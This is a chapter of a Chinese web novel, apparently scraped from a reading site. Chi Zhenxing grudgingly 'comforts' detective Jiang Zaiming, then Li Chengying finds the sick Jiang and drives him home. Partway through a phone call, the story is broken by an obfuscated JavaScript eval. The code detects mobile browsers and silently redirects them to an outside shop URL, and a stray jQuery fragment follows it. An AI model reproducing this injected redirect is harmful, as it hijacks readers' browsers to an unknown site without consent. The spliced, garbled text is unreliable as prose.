强扭的瓜是不甜的,哪怕是面对面,心与心也是有距离的。

    姜宰明从前不觉得,现在他明白了。

    “苍天有眼哦!”

    姜宰明:“……”

    池真星无视姜宰明复杂的眼神,他吊儿郎当掏了掏耳朵,并当着姜宰明的面,弹了弹手指。

    “就这?”

    “说了没?说完我就走了。”

    “……”

    姜宰明的心态被池真星搞坏了一点,但还能坚持。

    “……除了这些,你就什么其他的话想对我说?”

    “你还要我点评几句呗?”

    池真星很无语。

    确实,姜宰明的童年很惨,而池真星的态度也全程冷漠,从旁观者视角来看,好像他池真星是什么天下难寻的冷血人渣。

    但是!!

    池真星是真的没办法同情啊!

    抛开前半段的威胁不谈。

    现在的状况就好比一个和你只有几面之缘,并且你还有些讨厌的同学,某天在街上遇到你,突然给你拉到角落,然后无前摇就开始述说自己的原生家庭和童年创伤,你这遇到这事你咋处理?

    池真星早就想溜了,本以为听完故事就没事了,结果还得点评几句。

    姜宰明神情莫名。

    “谁说是点评了。”

    “没人教过你怎么安慰人吗?”

    直到这时,姜宰明身上属于刑警的成熟感褪去,他掉份地与池真星争论不休,倒有几分孩子气。

    得,要安慰是吧。

    都快奔三的人了,青天白日醉氧,开始折腾人了。

    池真星心想自己都忍到现在了,不就是几句安慰人的话吗,有什么难的。

    池真星深吸一口气,催眠自己:

    ——眼前的人是权道赫,眼前的人是权道赫,眼前的人是继续关爱的,他的挚友权道赫……

    做好心里建设,池真星缓缓睁开眼睛。

    此刻,已经打开基因锁的池真星所向披靡!

    “哎呦,我苦命的孩子,有这事你不早说!”

    池真星嗷一嗓子出来,姜宰明当场懵了。

    然而,暴雨才刚刚开始。

    “好孩子,你年纪轻轻就成了药罐子也不容易,今天能把这事说出来,算你小子有胆量。”

    “我吧,您也知道我是啥情况,您要是来找我借钱买药的,我就一穷学生,兜里确实没子。”

    “您这种情况也不算罕见,不要轻言放弃,该吃药吃药,积极复查配合医生治疗,人这辈子很快就过去了。”

    池真星吧砸吧砸嘴,觉得自己已经把所有安慰人的话都说完了,于是他叹了口气。

    “唉,节哀吧。”

    “……”

    姜宰明沉默了。

    他沉默了许久。

    似乎是沉浸在池真星的哭坟声中,久久无法自拔。

    池真星看效果已经到位了,便得意洋洋地站起身来。

    要不是看在咖啡的份上,他才懒得搭理姜宰明呢,实在是他管不住嘴,要不然最开始没接这杯咖啡,可不就什么事都不会发生?

    心满意足的池真星哼着小曲起身离开,姜宰明没有再阻拦他。

    这次搭讪事件就这样结束。

    被姜宰明搭讪并带走的事情,并不在池真星的计划内。

    现在没有了干扰,池真星重归正途,继续之前的计划。

    他宿舍里的生活物资其实采购得七七八八的,这次出门除了买齐剩下的零碎物件,池真星更多的是想实地考察一下大学城附近的物价。

    手上的钱已经去了五分之一,可他对这里的货币体系还是没什么概念,并不是说池真星非常败家,没有钱的概念。

    恰恰相反,他就是太熟悉华国的货币体系了,导致他来到朝国生活后,总习惯将华国的钱币价值,直接套用在朝国的钱币上,他只能直白地感受到这边物价的高昂,对赚钱这事也生出焦虑。

    说到底,还是借了权道赫的那笔钱给闹的。

    不是自己的钱,花起来没有实感,不熟悉的货币体系,也让池真星很难受,重回校园的生活是很自由,但是细品下来,全是压力。

    “唉,可不能这样啊。”

    池真星垂头丧气地走在街上。

    对侧的街道上,李承瑛大步走过。

    两人之间隔着距离,交错而过,池真星是什么都没发现,但李承瑛却在走出三米后,缓缓停住脚步。

    “那学生好眼熟。”

    李承瑛在原地站定,他的眼神很好,记忆力更是出众,短短几步路,就从脑海中挖出池真星的身影。

    “哦,是他啊!”

    他下意识回身,却发现池真星的背影早就消失在人流中。

    也是,就算认出来,又没意义。

    李承瑛耸了耸肩膀,回正了身体,订餐的酱骨汤店就在不远处,他可没时间耽误。

    由于现在不是饭点的缘故,酱骨汤店的客人不算多,李承瑛进店后,没多久就拿到了打包好的两份餐食。

    他跟店主道谢后,拎着食物往出走,突然想着只吃这个,可能口重,便折返去附近的便利店,想要带点饮料回去。

    好巧不巧,他去的正巧是池真星刚刚离开的便利店。

    店门外的塑料桌椅处,已经没有了姜宰明的身影。

    李承瑛走进便利店,径直走去冰柜的方向,取出四瓶汽水后,便去柜台结账。

    李承瑛从钱包中取出万元大钞递给收银员,在对方找零的间隙,他注意到了旁边的电视上,正播放着时政新闻。

    市民们还在关注连环杀人案,毕竟真凶一直没有落网,这事的讨论度很高,哪怕只是为了流量,各媒体也争相报道。

    托神秘人爆料的福,基本上大大小小、主流的、小众的、凡是有些影响力的媒体,都知道案件的最新进展。

    他们捏着警方已获取凶手DNA的事情,持续追踪案件,完全不知道破案的艰难,可通稿全是对对警方无能的控诉。

    看着电视屏幕里,直视摄像机,字字珠玑的女主人,李承瑛眼底的轻松之色褪去,他脸色沉凝,不知在想什么。

    便利店外人来人往,不经意间,李承瑛的视野中闪过一个人影。

    瘦高的个子,冷白的肌肤,清俊的脸庞……分明就是姜宰明。

    李承瑛一愣,注意力转移。

    “宰明?”

    也许是他喊的音量不够大,也是大门隔绝了他的声音。

    街道上的姜宰明目不斜视,甚至都没向李承瑛的方向投去视线。

    李承瑛心道这人不是在休病假吗,怎么会出现大学城附近,但是眼看人要走远,他也顾不得太多。

    “别走啊,宰明!”

    他喊着姜宰明的名字就要追出去,差点找回来的零钱都忘记拿,还是被收银员喊住才想起这一茬。

    不过到底是耽搁了一阵,等李承瑛拿着钱走出便利店的时候,姜宰明已经彻底消失在人群中。

    李承瑛又在街头徘徊了两分钟,实在没有头绪,干脆就掏出手机拨打了姜宰明的号码。

    这次李承瑛等待的时间有些久,久到他都要以为电话无人接听了,才听到姜宰明的声音。

    “怎么了?”

    声音依旧是冷冰冰,却带着明显的疲惫感。

    李承瑛却只顾着手里这两份打包好的酱骨汤,没听出姜宰明的异常。

    “哦,宰明啊。”

    “酱骨汤已经买好了,我现在就在襄阳路的24小时便利店这里,现在去找你,你在哪儿呢?”

    “……”

    电话那头的姜宰明安静了几秒。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741472|205676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你在襄阳路吗?”

    “嗯。”

    “……知道了。”

    话音落下,姜宰明挂断了电话。

    李承瑛:?

    李承瑛难以置信地把手机拿到面前,想不到有一天姜宰明会这么对待自己。

    “不是,就这么挂断了?”

    李承瑛发现姜宰明最近是真的很反常,比如现在,电话那头的人声音是那么冷淡,好像一秒都不愿意多搭理他似的。

    李承瑛琢磨了一会,没想出所以然来,索性就不想了。

    他收起手机,拎着袋子就要走。

    不管姜宰明现在在哪里,他总是要回家的,跑得了和尚跑不了庙,李承瑛打算直接带着东西找上门去。

    现在太阳正烈,李承瑛被太阳晒得睁不开,他眯着眼睛穿行在人群中。

    突然,视野中出现一个模糊的黑色人影。

    紧接着,身前投来一道阴影。

    李承瑛以为自己挡了别人的路,立刻侧身,可他面前的人却没有要离开的意思。

    他心下诧异,于是抬起头来。

    姜宰明那张苍白俊秀的脸蛋映入眼帘,他的眼睛黑沉沉,透不出一点光亮,薄薄的皮肉紧贴脸颊,不见血色,看上去像是生了重病,整个病恹恹的。

    “承瑛。”

    对上李承瑛惊讶的目光,姜宰明的嘴唇翕动,声音低哑。

    “宰明,你怎么搞的,怎么成这样了?!”

    李承瑛被姜宰明的样子吓了一跳,快步走到姜宰明身边。

    他本能地想要搀扶姜宰明,可后者却直接拂开他的手。

    姜宰明用的力气不大,但拒绝的意味再明显不过,李承瑛当场愣在原地。

    对上李承瑛惊愕的视线,姜宰明的睫毛颤了颤,后知后觉发现自己做了什么。

    “……”

    垂在身侧的手指缓缓攥紧,姜宰明忽地别过脸,抬手捂住嘴巴。

    “咳咳咳。”

    虚弱的咳嗽声传来,李承瑛回过神来。

    “宰明,你……”

    姜宰明抬起手挡在两人中间。

    “承瑛,抱歉,不要离我太近。”

    他惨白着脸色,嗓音沙哑。

    “会传染。”

    姜宰明言简意赅。

    这似乎解释了他推开李承瑛的行为。

    反正李承瑛一听就接受了。

    “我还以为姜大警官是铁人呢。”

    “这辈子都不会生病。”

    李承瑛打趣着姜宰明,可脚步却默默加快。

    “我的车就在路边,你病成这样,应该是打车来的吧。”

    “嗯。”

    李承瑛丝毫不意外姜宰明的回答。

    他来这里的目的已经达到,眼下遇到姜宰明,他干脆直接带着人回到自己车上。

    李承瑛这人,看着粗糙,可自己的私人领域却打理得井井有条,姜宰明坐在副驾驶座上,视线掠过车厢,随后垂下眼睛,陷入沉默。

    空调缓缓吹出冷风,驱散车内的热意,李承瑛放好盒饭,油门一踩就冲出原地,他目视前方专心开车,可视线却有意无意瞥向姜宰明。

    眼瞧着要驶入岔路口,往左是去姜宰明的家,往右是去医院,李承瑛看了眼前方的红灯,轻声开口。

    “宰明,需要我送你去医院吗?”

    “回家——”

    姜宰明急促的声音几乎是咬着李承瑛的尾音响起的。

    绿灯亮起,车子转向左侧,不久后驶入住宅区的街道。

    路上没人说话,车子压过减速带,车厢晃动,安静的空间里,响起了哗啦一声碎响。

    李承瑛朝声源地投去目光。

    似乎是察觉到他的视线,姜宰明不动声色将手装入口袋中,缓缓握紧口袋中的药瓶。